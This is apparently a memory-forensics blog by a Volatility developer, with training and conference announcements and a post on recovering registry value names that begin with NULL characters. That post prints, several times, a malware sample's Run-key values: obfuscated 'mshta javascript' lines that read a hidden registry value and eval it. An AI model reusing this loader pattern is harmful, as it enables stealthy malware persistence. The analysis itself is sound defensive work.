Showing posts with label volatility. Show all posts
Showing posts with label volatility. Show all posts

Wednesday, May 25, 2016

Enfuse Materials

I'd like to thank everyone for coming to my talks at Enfuse 2016.  As promised, here are the materials for the course.  I ask that you don't redistribute the materials elsewhere. You must use the password given to you in class, and the link will expire in 30 days:

https://www.dropbox.com/sh/j5svwjm7kse28i3/AACBTcZQYPgikxYPx_c3E7Apa?dl=0

For those who were asking about other available memory samples, we have several available on the Volatility Wiki. We also have memory samples available from our training website, as well as a lab guide and answer sheet for those of you who asked about using memory samples for your college course materials. As always, feel free to send me an email if you have any Volatility issues or questions.

Friday, January 29, 2016

Registry Value Names Starting with NULL Characters

Recently someone had asked on a mailing list about how to extract the registry value names that were created by a particular piece of malware. The issue was a NULL (0x0) character at the beginning of the registry value name, which prevented regedit from opening the registry key. The name is actually there, however, and consists of this NULL character and some other hex numbers, and you are able to extract it from the raw registry itself (from disk and memory). We'll cover how we may accomplish these tasks, and then we'll cover how to accomplish this over the enterprise, as was asked as a followup question.

Background

The malware in question is referenced in a report by Symantec as well as REAQTA. We have two different registry values depending on whether or not Powershell is available on machine. Either way, the registry keys and values created by the malware are present in the user's personal registry (NTUSER.DAT).

Extracting the Registry

For this part, you may use anything that allows you to pull the registry file from the disk. Some example tools may be: We're going to use the Sleuthkit to extract the registry file from the local disk in this case (though the process would be the same for an offline or remote disk, just the disk name would differ). So first we need to figure out the offset of the NTFS volume. In order to accomplish that, we would use the mmls utility; we see its invocation on line 1 below. The volume offset is highlighted on line 9 and we see that it is the only NTFS volume on this disk. Next, we need to get the unique identifying information (inode) for the NTUSER.DAT registry file for the user who ran the malware (lines 11-23). After we've identified the inode number for the registry file (372), we then extract it from the disk so that we may process it offline (line 26).

1 >mmls \\.\PhysicalDrive0 2 DOS Partition Table 3 Offset Sector: 0 4 Units are in 512-byte sectors 5 6 Slot Start End Length Description 7 00: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 8 01: ----- 0000000000 0000002047 0000002048 Unallocated 9 02: 00:00 0000002048 0033552383 0033550336 NTFS (0x07) 10 11 >fls -o 2048 -p -r \\.\physicaldrive0 > paths.txt 12 13 >findstr /i ntuser paths.txt 15 r/r 10772-128-4: Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TM.blf 16 r/r 41237-128-3: Users/Default/NTUSER.DAT 17 r/r 41238-128-4: Users/Default/NTUSER.DAT.LOG 18 r/r 10768-128-4: Users/Default/NTUSER.DAT.LOG1 19 r/r 41321-128-1: Users/Default/NTUSER.DAT.LOG2 20 r/r 10563-128-4: Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000002.regtrans-ms 21 r/r 10773-128-4: Users/Default/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000001.regtrans-ms 22 r/r 433-128-1: Users/user/NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TM.blf 23 r/r 372-128-1: Users/user/NTUSER.DAT 24 [snip] 25 26 >icat -o 2048 \\.\physicaldrive0 372 > ntuser-win7x86

Print Keys and Values

Once we have the extracted registry file, we're able to print out the registry key and its values using any offline tool we have at our disposal. Here are a few: RegLookup is a nice utility for printing out registry data. You can see an example output of the Run key below, however, note that the value name is not printed out. We are able to see everything else, however:

$ reglookup -p 'Software/Microsoft/Windows/CurrentVersion/Run' NTUSER-Win7x86.DAT PATH,TYPE,VALUE,MTIME /Software/Microsoft/Windows/CurrentVersion/Run,KEY,,2016-01-15 21:49:46 /Software/Microsoft/Windows/CurrentVersion/Run/,SZ,mshta javascript:roh0Urp=\x22ehdEAR8I\x22;G9p=new%20ActiveXObject(\x22WScript.Shell\x22);c7r6vhuiFM=\x22moDW7uoJ5\x22;ibh29z=G9p.RegRead(\x22HKCU\x5C\x5Csoftware\x5C\x5Cf42603093a\x5C\x5C2e0575f8\x22);bZU38ElgI=\x229g95uXT\x22;eval(ibh29z);v4SXZYYP=\x22x2\x22;, /Software/Microsoft/Windows/CurrentVersion/Run/,SZ,mshta javascript:hCLkQp43l=\x22GRB\x22;w5s1=new%20ActiveXObject(\x22WScript.Shell\x22);dXx1Yr6f=\x22uk\x22;S6RUd=w5s1.RegRead(\x22HKCU\x5C\x5Csoftware\x5C\x5Cf42603093a\x5C\x5C2e0575f8\x22);JTMRIu3=\x227Vi\x22;eval(S6RUd);Jkxju49At=\x225S\x22;,

I also wrote a script to use Python-Registry in order to print out registry keys of interest. You can see example output from this below:
 

$ python printkey.py NTUSER-Win7x86.DAT "Software\Microsoft\Windows\CurrentVersion\Run" Processing NTUSER-Win7x86.DAT ************************************************************************ cmi-createhive{6a1c4018-979d-4291-a7dc-7aed1c75b67c}\software\microsoft\windows\currentversion\run VALUENAME: 996883f7 VALUE: mshta javascript:roh0Urp="ehdEAR8I";G9p=new%20ActiveXObject("WScript.Shell");c7r6vhuiFM="moDW7uoJ5";ibh29z=G9p.RegRead("HKCU\\software\\f42603093a\\2e0575f8");bZU38ElgI="9g95uXT";eval(ibh29z);v4SXZYYP="x2"; VALUENAME: e4263fbd VALUE: mshta javascript:hCLkQp43l="GRB";w5s1=new%20ActiveXObject("WScript.Shell");dXx1Yr6f="uk";S6RUd=w5s1.RegRead("HKCU\\software\\f42603093a\\2e0575f8");JTMRIu3="7Vi";eval(S6RUd);Jkxju49At="5S"; Subkeys: ************************************************************************

Harlan Carvey also wrote a RegRipper plugin to detect key and value names with NULL characters. Also, if you need a GUI, Eric Zimmerman's registry tool also parses out these names correctly. So in short, you have a lot of options for parsing out these "broken" value names with offline tools.

Printing Keys and Values Using Volatility

As you may guess, you can also get this information using Volatility, but it might not be as straightforward at first. For our first attempt, we will try to use the printkey plugin. Notice that the value name is actually blank in the output below (left side of the colon):

$ python vol.py -f Win7x86.vmem --profile=Win7SP1x86 printkey -K software\\microsoft\\windows\\currentversion\\run Volatility Foundation Volatility Framework 2.5 Legend: (S) = Stable (V) = Volatile ---------------------------- [snip] Registry: \??\C:\Users\user\ntuser.dat Key name: Run (S) Last updated: 2016-01-15 21:49:45 UTC+0000 Subkeys: Values: REG_SZ : (S) mshta javascript:roh0Urp="ehdEAR8I";G9p=new%20ActiveXObject("WScript.Shell");c7r6vhuiFM="moDW7uoJ5";ibh29z=G9p.RegRead("HKCU\\software\\f42603093a\\2e0575f8");bZU38ElgI="9g95uXT";eval(ibh29z);v4SXZYYP="x2"; REG_SZ : (S) mshta javascript:hCLkQp43l="GRB";w5s1=new%20ActiveXObject("WScript.Shell");dXx1Yr6f="uk";S6RUd=w5s1.RegRead("HKCU\\software\\f42603093a\\2e0575f8");JTMRIu3="7Vi";eval(S6RUd);Jkxju49At="5S";

This is because of the way the String class was written. The actual name is still there, however, so we can extract it with volshell. In the code below, lines 4-7 import the RegistryApi to use the correct registry file (in this case the user name "user"). Line 8 gets the key of interest, the "Run" key (defined on line 6). Then lines 10-11 loop through the (raw) values contained for that key and print out the dt() function output for each value.

We can see on lines 15 and 25 that each of these value names have a length of 9, therefore, we should be able to extract a name for these values. We are able to see the raw value for this name by using the .v() function on the object of interest. In this case, we'll use it on the .Name member of the value. On lines 34-35, we can see that we get the correct length for the value name and on lines 36-37 we get the correct value name. We can then rerun our loop on line 39 in order to get the full information for these values.

1 $ python vol.py -f Win7x86.vmem --profile=Win7SP1x86 volshell 2 [snip] 3 4 In [1]: import volatility.plugins.registry.registryapi as registryapi 5 In [2]: regapi = registryapi.RegistryApi(self._config) 6 In [3]: key = "software\\microsoft\\windows\\currentversion\\run" 7 In [4]: regapi.set_current("NTUSER.DAT", "user") 8 In [5]: item = regapi.reg_get_key(None, key) 9 10 In [6]: for value, data in regapi.reg_yield_values(None, key, given_root = item, raw = True): 11 print dt(value) 12 ....: 13 <CType pointer to [0x0007CC08]> 14 0x0 : Signature vk 15 0x2 : NameLength 9 16 0x4 : DataLength 412 17 0x8 : Data 511024 18 0xc : Type 1 19 0x10 : Flags 1 20 0x12 : Spare 28515 21 0x14 : Name 22 None 23 <CType pointer to [0x0007CDD0]> 24 0x0 : Signature vk 25 0x2 : NameLength 9 26 0x4 : DataLength 378 27 0x8 : Data 517464 28 0xc : Type 1 29 0x10 : Flags 1 30 0x12 : Spare 0 31 0x14 : Name 32 None 33 34 In [7]: len(value.Name.v()) 35 Out[7]: 9 36 In [8]: print str(value.Name.v()) 37 e4263fbd 38 39 In [9]: for value, data in regapi.reg_yield_values(None, key, given_root = item, raw = True): print value.Name.v(), data ....: 996883f7 mshta javascript:roh0Urp="ehdEAR8I";G9p=new%20ActiveXObject("WScript.Shell");c7r6vhuiFM="moDW7uoJ5";ibh29z=G9p.RegRead("HKCU\\software\\f42603093a\\2e0575f8");bZU38ElgI="9g95uXT";eval(ibh29z);v4SXZYYP="x2"; e4263fbd mshta javascript:hCLkQp43l="GRB";w5s1=new%20ActiveXObject("WScript.Shell");dXx1Yr6f="uk";S6RUd=w5s1.RegRead("HKCU\\software\\f42603093a\\2e0575f8");JTMRIu3="7Vi";eval(S6RUd);Jkxju49At="5S";

Unfortunately, that's all the time we have for today, but we'll continue this thought sometime next week. Until then, here's a bit of homework for you to watch and a bit to read.

Coming up next: Finding interesting registry values Enterprise-wide

Wednesday, June 03, 2015

Volshell Quickies

Since someone had asked about it in a comment on this blog, I decided to write up a Volshell Quickie on the Volatility Labs blog. Enjoy!

Monday, May 18, 2015

Linux Memory Forensics: Using mprotect() with PROT_NONE

In case you didn't catch it on the Volatility Labs blog, I found an interesting bug that we've had in the framework since we've had Linux support. If you've had cases that involved Linux samples and plugins like linux_yarascan, linux_strings etc, you might want to update to the latest code and have another look over those samples. Of course, there's no reason to think that a piece of malware might have used this trick and used a sigsegv handler to access the data, but the idea has been around for years...

Thursday, January 29, 2015

Some Updates

Wow, it's been a while since I've written here.  A lot has happened since, however.  Here are a few updates:

The Book

We released a book: The Art of Memory Forensics.  For those of you who are considering teaching memory forensics or even operating systems, we have a syllabus and evidence files on our website that you may use in your classes.

Trainings

We have several trainings in line for this year, public and private.  Public trainings currently include:

  • Reston, VA April 13th-17th 2015
  • New York, NY May 11th-15th 2015
  • Amsterdam, NL August 31st-September 4th 2015
We are also currently working on new course offerings coming out this year.  So keep an eye out for those!

Talks

I'll be speaking at the upcoming CEIC conference in Las Vegas, on Wednesday May 20th 2015.  Apparently there is a discount code if you register before January 31st: JANS4v15

The Volatility team will also give another talk at NYC4SEC during the week of the training in NYC this coming May.  More details will be given for that talk soon.

Monday, April 14, 2014

Volatility Talk at Upcoming NYC4SEC

The Volatility team will give a talk at the next NYC4SEC meetup on memory forensics on May 8th, 2014 at John Jay College.  Make sure to RSVP if you are planning to attend, since there is limited seating!

 Thanks For the Memory: Rootkits, Exfil and APT - RAM Conquers All

The ability to perform digital investigations and incident response is becoming a critical skill for many occupations. Unfortunately, digital investigators frequently lack the training or experience to take advantage of the volatile artifacts found in physical memory. Volatile memory contains valuable information about the runtime state of the system, provides the ability to link artifacts from traditional forensic analysis (network, file system, registry), and provides the ability to ascertain investigative leads that have been unbeknownst to most analysts. Malicious adversaries have been leveraging this knowledge disparity to undermine many aspects of the digital investigation process with such things as anti-forensics techniques, memory resident malware, kernel rootkits, encryption (file systems, network traffic, etc), and Trojan defenses.  The only way to turn-the-tables and defeat a creative digital human adversary is through talented analysts.
 
This talk demonstrates the importance of including Volatile memory in your investigations with an overview of the most widely used memory forensics tool, Volatility, by its developers.

-@gleeda

Friday, February 07, 2014

New Volatility Training Website

We have a new website for all of our Volatility training opportunities.  Don't forget to check it out:  http://www.memoryanalysis.net/

- @gleeda

Thursday, January 30, 2014

OMFW 2013 Slides

In case you missed it, I put up my slides for my OMFW 2013 talk "Every Step You Take: Profiling the System".  You can find them here on google docs. Some of the animations may not render properly, even if played, but you get the idea.  If you want to see the cyboxer plugin, send me an email (jamie.levy {at} gmail . com).

Tuesday, July 16, 2013

Volatility News

Things have been busy lately, but I want to let you know about some important items that are coming up quickly:

July 27-30th, 2013: Blackhat Vegas


Andrew Case and I will teach our course in Digital Forensics and Incident Response again this summer at Black Hat Vegas.  This course will cover enough material to take someone from knowing practically nothing about digital forensics (disk and memory) to a point where s/he can comfortably conduct his/her own investigations.  There is limited time to sign up, so reserve your seat while you can!

You can hear Andrew talk about Digital Forensics and Incident Response on the Healthy Paranoia podcast from July 7th, 2013.

August 1st, 2013: Volatility Plugin Contest


The 1st Annual Volatility Plugin Contest deadline is quickly approaching!   Don't miss this opportunity to win over $2000 in cash and prizes and contribute to the top memory forensics framework by writing a plugin for the Volatility Framework and submitting it to volcon2013@memoryanalysis.net by August 1st, 2013.

September 9-13th, 2013: Volatility Training in the Netherlands


We will have our 4th public offering of our official Windows Malware and Memory Forensics training in the Netherlands September 9-13, 2013.  This will be our only offering outside the US for this year.  Past offerings of our course have been well received and were recently described as the "... perfect combination of incident response, malware analysis and Windows internals."  Don't miss out on your chance to take this course and learn not only how to become a Volatility superuser, but how to apply cutting edge memory and malware analysis methodologies against your worst adversary.

November 4th, 2013: Open Memory Forensics Workshop (OMFW)


The Open Memory Forensics Workshop (OMFW) call for papers has been announced.  If you want to give a talk on memory forensics related topics, please get your submission in by September 1st, 2013.  OMFW is a half-day workshop that will be held one day prior to the Open Source Digital Forensics Conference in Chantilly, VA.  This workshop is fast-paced, to the point, highly technical and intended to raise the bar for analysts who realize the importance of memory forensics when faced with a highly skilled adversary.  Not only will you learn a lot and get to meet all the movers and shakers in the space, but your $50 registration fee is entirely donated to charity!  Last year all proceeds went to the National Center for Missing and Exploited Children.  So don't delay: there really is limited seating and it does go quickly.  Make sure to register your seat now!

November 5th, 2013: Open Source Digital Forensics Conference


The Volatility team will be at the Open Source Digital Forensics Conference discussing The State of Volatility.  Come by and see us there :-)

November 11-15th, 2013: Volatility Training in Reston, VA


We will have our 5th public offering of the official Windows Malware and Memory Forensics training in Reston, VA November 11-15th, 2013.  If you missed the last offering in June, this is your chance to take this course and learn from the developers themselves.  As I've stated before, this class includes real-world scenarios that are reinforced with hands-on labs.  We cover more than "just one tool" as some detractors like to say.  We cover methodologies that will actually help you where some tools fail.  You will have a deep enough understanding to investigate even the most skilled adversaries who know how to break common tools in order to hide.  Don't be fooled and don't be left behind.  Accept no imitations and make sure to take this class.

All students who take the official Volatility training receive a certificate of completion, with CPE credits that can be used for certification renewal.  In addition to this, we are constantly updating the course with new material and past students are given updated materials for FREE.  What more can you ask for?  If you are interested in Volatility training, drop us a line at voltraining [[ at ]] memoryanalysis.net

If you want to see co-trainers MHL and Andrew Case (attrc) in action, I managed to find a couple of videos of their previous talks on youtube:








Friday, April 19, 2013

Upcoming Events and Trainings

I have several speaking and training events that are coming up this year that may be of interest to others in the community:

I will be speaking at the New York Banker's Association's upcoming Annual Technology, Compliance & Risk Management Forum on May 16th, 2013 on the topic of Incident Response and Digital Forensics.  If you plan to attend I'll see you there!

Also we (Volatility) are holding our third run of Windows Malware and Memory Forensics in Reston, VA from Monday June 10th through Friday, June 14th 2013.  This training will not disappoint even the most proficient of forensic/malware analysts.  It includes real-world scenarios that are reinforced with hands-on labs.  All students will leave with skills and confidence to conduct investigations involving RAM samples from acquisition to the final report.  Students also leave with more than just being Volatility power users, they leave with a deeper knowledge of memory forensics and malware analysis methodologies.  Such knowledge is integral regardless of what tools you choose for future investigations, be they open source or commercial, and much more powerful than simply "run this tool, the output is colored red so it's bad".  You'll leave the class with knowledge that will help you to figure out if something really is "bad" or not.  There are still a few seats left for this training, so if you are interested you should register soon.  Send an email to voltraining [at] memoryanalysis.net for registration information.

If you are looking for a course that covers both disk and memory forensics, Andrew Case and I will teach our course in Digital Forensics and Incident Response again this summer at Black Hat Vegas.  This course runs from July 27th through July 30th 2013 and will cover enough material to take someone from knowing practically nothing about digital forensics to a point where s/he can comfortably conduct his/her own investigations.

Also we (Volatility) will hold another run of Windows Malware and Memory Forensics in the Netherlands from Monday September 9th through Friday, September 13th 2013.  Details will appear soon on the Volatility Labs blog.

Planning for the Open Memory Forensics Workshop (OMFW) is in progress.  You should plan to attend if you want to know what's new and hot in the memory forensics space.  OMFW is likely to take place on November 4th, 2013 one day prior to the Sleuth Kit and Open Source Digital Forensics Conference.  Final details will appear soon on the Volatility Labs blog.

Monday, January 14, 2013

Windows Malware and Memory Forensics Training in The Windy City!

Cross posted from the Volatility Labs Blog

The next journey to the center of Windows Memory Forensics starts in Chicago this March!  
We are pleased to announce the second public offering of the Windows Malware and Memory Forensics Training by The Volatility Project. This is the only memory forensics course officially designed, sponsored, and taught by the Volatility developers. One of the main reasons we made Volatility open-source is to encourage and facilitate a deeper understanding of how memory analysis works, where the evidence originates, and how to interpret the data collected by the framework's extensive set of plugins. Now you can learn about these benefits first hand from the developers of the most powerful, flexible, and innovative memory forensics tool. 
Appraisal from your peers who attended the first course this past December:

Please see the following details about the upcoming training event:
Dates: Monday, March 18th through Friday, March 22nd 2013
Location: Downtown Chicago, IL (exact location will be shared upon registration)
Instructors: Michael Ligh (@iMHLv2), Andrew Case (@attrc), Jamie Levy (@gleeda)
For more information about the course, view the Volatility Training Flyer (to download a copy of the PDF, click File > Download). To request a link to the online registration site or to receive a detailed course agenda/outline, please send an email voltraining [at] memoryanalysis.net.

The 1st Annual Volatility Framework Plugin Contest

Cross posted from the Volatility Labs Blog:

We are pleased to announce the 1st Annual Volatility Plugin Contest. This contest is inspired and modeled after the Hex-Rays Plugin Contest.  As in the case of IDA, Volatility was designed with the belief that talented analysts should only be limited by their creativity not the tools they use. In this spirit, Volatility has a flexible architecture that can be extended in numerous ways: analysis plugins (operating system plugins, application plugins, etc), volshell commands, address spaces, profiles, or user interfaces. This contest is intended to inspire people to demonstrate their creativity, become a memory analysis pioneer, win the admiration of your peers, and give back to the community.

The contest is straightforward: Create an innovative and useful extension to The Volatility Framework and win the contest!

  • 1st place wins one free seat at any future Windows Malware and Memory Forensics Training *or* 1500 USD cash
  • 2nd place wins 500 USD cash
  • 3rd place wins 250 USD cash
  • 4th and 5th place wins Volatility swag (T-shirts, Stickers, etc)

Everyone but the Volatility core developers can participate.

Rules of Engagement

  1. The goal of the contest is to create innovative, interesting, and useful extensions for The Volatility Framework. While extensions written in Python are preferred, extensions written in other languages will also be considered.
  2. The submitted extensions should work with the Volatility 2.2 (or greater) release and should have been implemented after the initial contest announcement (1/14/2013).
  3. The top 5 winners of the contest will get the prizes mentioned above.
  4. Volatility core developers are not eligible.
  5. Submissions should be sent to volcon2013@memoryanalysis.net. The submission should include the source code, a short description of how the extension is used, and a signed "Individual Contributor License Agreement".
  6. By submitting an entry, you declare that you own the copyright to the source code and are authorized to submit it.
  7. All submissions should be received no later than August 1, 2013. The winner will be announced the following week. We recommend submitting early. In the case of similar submissions, preference will be shown to early submissions.
  8. The Volatility Project core developers will decide the winners based on the following criteria: creativity, usefulness, effort, completeness, submission date, and clarity of documentation.
  9. In order to collect the cash prizes, the winner will need to provide a legal picture identification and bank account information within 30 days of notification. The bank transfer will be made within two weeks after the winner is authenticated.
  10. Group entries are allowed; the prize will be paid (or seat will be registered, if the training option is desired) to the person designated by the group.
  11. Upon approval from the winners, their names/aliases will be listed on the "Volatility Hall of Fame" web page for the world to admire.
  12. Selected contestants may also be asked to present their work at the 2013 Open Memory Forensics Workshop or have their research featured on the Volatility Labs Blog.

Acknowledgements

A special thanks goes out to the Hex-Rays team for providing the inspiration and template for this contest.

Tuesday, November 13, 2012

Windows Memory Forensics Training for Analysts by Volatility Developers

We are pleased to announce the first public offering of the Windows Memory Forensics for Analysts training course. This is the only memory forensics course officially designed, sponsored, and taught by the Volatility developers. One of the main reasons we made Volatility open-source is to encourage and facilitate a deeper understanding of how memory analysis works, where the evidence originates, and how to interpret the data collected by the framework's extensive set of plugins. Now you can reap these benefits first hand from the developers of the most powerful, flexible, and innovative memory forensics tool. 

Please see the following details about the upcoming training event:

Dates: Monday, December 3rd through Friday, December 7th 2012
Location: Reston, Virginia (exact location will be shared upon registration)
Instructors: Michael Ligh (@iMHLv2), Andrew Case (@attrc), Jamie Levy (@gleeda). Please see the VolatilityTeam wiki page for brief bios.

Overview:

The ability to perform digital investigations and incident response is becoming a critical skill for many occupations. Unfortunately, digital investigators frequently lack the training or experience to take advantage of the volatile artifacts found in physical memory. Volatile memory contains valuable information about the runtime state of the system, provides the ability to link artifacts from traditional forensic analysis (network, file system, registry), and provides the ability to ascertain investigative leads that have been unbeknownst to most analysts. Malicious adversaries have been leveraging this knowledge disparity to undermine many aspects of the digital investigation process with such things as anti-forensics techniques, memory resident malware, kernel rootkits, encryption (file systems, network traffic, etc), and Trojan defenses.  The only way to turn-the-tables and defeat a creative digital human adversary is through talented analysts.

This course will demonstrate why memory forensics is a critical component of the digital investigation process and how investigators can gain the upper hand.  The course will consist of lectures on specific topics in Windows memory forensics followed by intense hands-on exercises to put the topics into real world contexts. Exercises will require analysis of malware in memory, kernel-level rootkits, registry artifacts found in memory, signs of data exfiltration, and much more. This course is your opportunity to learn these invaluable skills from the researchers and developers that have pioneered the field.  This is also the only memory forensics training class that is authorized to teach Volatility, officially sponsored by The Volatility Project, and taught directly by the Volatility developers.

Who should attend?

This course is intended for malware analysts, reverse engineers, incident responders, digital forensics analysts, law enforcement officers, federal agents, system administrators, corporate investigators, or anyone who wants to develop the skills necessary to combat advanced adversaries.

Course Prerequisites
  • It is recommended that students have some experience with the Volatility Framework.
  • Students should possess a basic knowledge of digital investigation tools and techniques.
  • Students should be comfortable with general troubleshooting of both Linux and Windows operating systems (setup, configuration, networking)
  • Students should be familiar with popular system administration tools (i.e. Sysinternals Utilities)
  • Student should be both familiar and comfortable with using the command line
  • Student should have a basic understanding of Python or similar scripting language
Course Structure

This is a 5-day course composed of both classroom learning and hands-on training exercises and scenarios.  All course material, lunches, and coffee breaks will be provided (If you have unique dietary restrictions, please make them known during registration).

Course Requirements

In order to fully participate in the course, students are required to bring a properly pre-configured laptop.  Students are encouraged to bring laptops that can run both Linux and Windows, where either instance is virtualized based on student preference.  It is the student's responsibility to make sure the laptop is configured prior to the beginning of the course.  There is no time built into the course schedule to help people configure machines, so please make sure your laptop has been properly configured before showing up for class.

Minimum Hardware Requirements:
        2.0 GHz CPU
        4 GB of RAM
        20 GB of disk space
        DVD-ROM drive
        USB 2.0 ports
        Wireless Network Interface Card

Software Requirements:
        Python 2.6 or 2.7
        Microsoft Windows Debugger
        VMware Workstation 6/Fusion 3 or higher
        7-Zip (or ability to decompress zip, gzip, rar, etc)
        Wireshark

Additional free/open-source tools or libraries may be required to complete hands-on exercises. More information will be shared upon registration.

Course Fee:

The cost of the course is $3500. Law enforcement, government, and educational discounts are available.

Registration:

To obtain information on registration, please email voltraining [ @ ] memoryanalysis.net.

Other Course Benefits:

Students will be supporting open source development (Volatility)
Preparation for the Advanced Memory Analyst Certification (AMAC)

Saturday, September 29, 2012

Week 3 of the Month of Volatility Plugins posted!

Cross listed from Andrew Case's blog:

I was writing to announce that week 3 of the month of Volatility plugins is finished, and we now have five more in-depth blog posts covering Windows and Linux internals and rootkit detection as well as a bonus plugin that analyzes Internet Explorer browsing history. These have all been posted on the Volatility Labs blog.

Post 1: Detecting Malware Hooks in the Windows GUI Subsystem

This Windows focused post covers detecting malware hooks in the Windows GUI subsystem, including message hooks and event hooks, and what effects these hooks can have on a compromised system.

http://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html


Post 2: Shellbags in Memory, SetRegTime, and TrueCrypt Volumes

This Windows focused post covers finding and recovering shellbags from memory, the forensics importance of shellbags, and analyzes the effects of anti-forensics on shellbag timestamps. It concludes with covering the traces left in shellbags by TrueCrypt.

http://volatility-labs.blogspot.com/2012/09/movp-32-shellbags-in-memory-setregtime.html


Post 3: Analyzing USER Handles and the Win32k.sys Gahti

This Windows focused post introduces two new plugins, one named gahti that determines the various different types of USER objects on a system and another named userhandles which traverses the handle table entries and associates them with the owning processes or threads

http://volatility-labs.blogspot.com/2012/09/movp-33-analyzing-user-handles-and.html


Post 4: Recovering tagCLIPDATA: What's In Your Clipboard?

This Windows focused post covers recovery of the Windows clipboard from physical memory.

http://volatility-labs.blogspot.com/2012/09/movp-34-recovering-tagclipdata-whats-in.html


Post 5: Analyzing the 2008 DFRWS Challenge with Volatility

This Linux focused post analyzes the 2008 memory challenge with Volatility. It walks through the artifacts produced by the winning team and shows how to recover the same information with Volatility. It then shows plugins in Volatility that can recover artifacts not produced by the winning team.

http://volatility-labs.blogspot.com/2012/09/movp-35-analyzing-2008-dfrws-challenge.html


Bonus Post: HowTo: Scan for Internet Cache/History and URLs

This Windows focused post covers how to recover Internet Explorer's cache and history from a memory sample.

http://volatility-labs.blogspot.com/2012/09/howto-scan-for-internet-cachehistory.html

If you have any questions or comments on the posts, please leave a comment on the respective post on the Volatility Labs blog.  

Friday, September 21, 2012

Week 2 of the Month of Volatility Plugins posted!

It's been an exciting week in the Volatility community.  We've just finished our second week of Month of Volatility Plugins (MoVP) blogposts, released Volatility 2.2 RC2 for testing, fixed a few minor bugs and now we're gearing up for our third week of posts and the upcoming Open Memory Forensics Workshop (OMFW).  Here is a list of this week's posts, compiled by Andrew Case:

I was writing to announce that week 2 of the month of Volatility plugins is finished, and we now have five more in-depth blog posts covering Windows and Linux internals and rootkit detection. These have all been posted to the new Volatility Labs blog.

Post 1: Atoms (The New Mutex), Classes and DLL Injection


This Windows focused post covers investigating malware and understanding infections by analyzing the atom tables.

http://volatility-labs.blogspot.com/2012/09/movp-21-atoms-new-mutex-classes-and-dll.html

Post 2: Malware in your Windows

This Windows focused post covers enumerating and analyzing windows in the GUI subsystem.

http://volatility-labs.blogspot.com/2012/09/movp-22-malware-in-your-windows.html

Post 3: Event logs and Service SIDs

This Windows focused post demonstrates recovering event logs from memory and calculating service SIDs.

http://volatility-labs.blogspot.com/2012/09/movp-23-event-logs-and-service-sids.html

Post 4: Analyzing the Jynx rootkit and LD_PRELOAD

This Linux focused post covers analyzing the Jynx rootkit as well as generic methods for analyzing LD_PRELOAD based rootkits.
http://volatility-labs.blogspot.com/2012/09/movp-24-analyzing-jynx-rootkit-and.html

Post 5: Investigating In-Memory Network Data with Volatility

This Linux focused post goes through each of the Linux Volatility plugins related to recovering network data from memory, such as network connections, packets, and the routing cache.

http://volatility-labs.blogspot.com/2012/09/movp-25-investigating-in-memory-network.html

If you have any questions or comments on the posts, please leave a comment on the respective post on the Volatility Labs blog.

We hope you've enjoyed this week's series.  Stay tuned, we have much more in store!

Friday, September 14, 2012

Week 1 of the Month of Volatility Plugins posted!

 I'm going to borrow from Andrew's blog here to let you know about our Month of Volatility Plugins:

I was writing to announce that week 1 of the month of Volatility plugins is finished, and we now have five in-depth blog posts covering Windows and Linux internals and rootkit detection. These have all been posted to the new Volatility Labs blog.

Post 1: Logon Sessions, Processes, and Images

This Windows focused post covers linking processes to their logon session, detecting hidden processes using session structures, and determining the loaded the drivers mapped into each session.

http://volatility-labs.blogspot.com/2012/09/movp-11-logon-sessions-processes-and.html

Post 2: Window Stations and Clipboard Malware

This Windows focused post covers enumerating and analyzing window stations and clipboard monitoring malware.

http://volatility-labs.blogspot.com/2012/09/movp-12-window-stations-and-clipboard.html

Post 3: Desktops, Heaps, and Ransomware

This Windows focused post covers finding rogue desktops used to hide applications and created by ransomware, linking threads to desktops, analyzing the desktop heap for memory corruptions, and profiling heap allocations to locate USER objects.

http://volatility-labs.blogspot.com/2012/09/movp-13-desktops-heaps-and-ransomware.html

Post 4: Average Coder Rootkit, Bash History, and Elevated Processes

This Linux focused post covers analyzing the Average Coder rootkit, recovering .bash_history from memory, even when faced with anti-forensics, and finding elevated processes.

http://volatility-labs.blogspot.com/2012/09/movp-14-average-coder-rootkit-bash.html

Post 5: KBeast Rootkit, Detecting Hidden Modules, and sysfs

This Linux focused post covers analyzing the KBeast rootkit, finding modules unlinked from the module list, and the forensic values of sysfs.

http://volatility-labs.blogspot.com/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html


If you have any questions or comments on the posts, please leave a comment on the respective post on the Volatility Labs blog.

Future Volatility posts will appear on our official blog (http://volatility-labs.blogspot.com/).  Also you might want to follow our project on twitter: @Volatility for updates and news.  See you at OMFW!

Tuesday, September 13, 2011

Volatility 2.0: Timeliner, RegistryAPI, evtlogs and more

Back in July I gave a talk at OMFW about extracting timeline data from a memory sample using the Volatility framework. Now has come the time to release the plugins that came along with that talk.

In addition to the plugins I have included a whitepaper on how these plugins were created and used. It is released more in hopes that people will see how to use the framework and be able to write their own plugins or extend existing ones.

I have included all these plugins in a zip file:


$ unzip -l timeliner_9-2011.zip
Archive: timeliner_9-2011.zip
Length Date Time Name
-------- ---- ---- ----
14455 09-28-11 14:40 volatility/plugins/timeliner.py
10789 09-27-11 09:24 volatility/plugins/evtlogs.py
147458 09-09-11 11:03 volatility/plugins/malware.py
13559 09-22-11 19:09 volatility/plugins/registryapi.py
8554 09-18-11 21:33 volatility/plugins/getsids.py
40993 09-22-11 16:29 volatility/plugins/getservicesids.py
-------- -------
235808 6 files



  • evtlogs.py: plugin to parse Evt logs from XP/2K3
  • registryapi.py: plugin for routine registry actions
  • getservicesids.py: plugin to collect and calculate service SIDs (used with the new getsids and evtlogs
  • timeliner.py: the timeline creating script that pulls everything together


MHL's malware malware plugins (malware.py) are included only for convenience. You can also download them from his repository and check there for updates.

I would like to thank MHL and AW for their valuable feedback and Bertha M for extensive testing of the timeliner plugins. The links to the paper and plugins are below:

Timeliner Release Documentation (PDF)

timeliner plugins (ZIP)

Note: Any updates to these plugins will appear in my github repository first.

Monday, August 08, 2011

Volatility 2.0 and OMFW

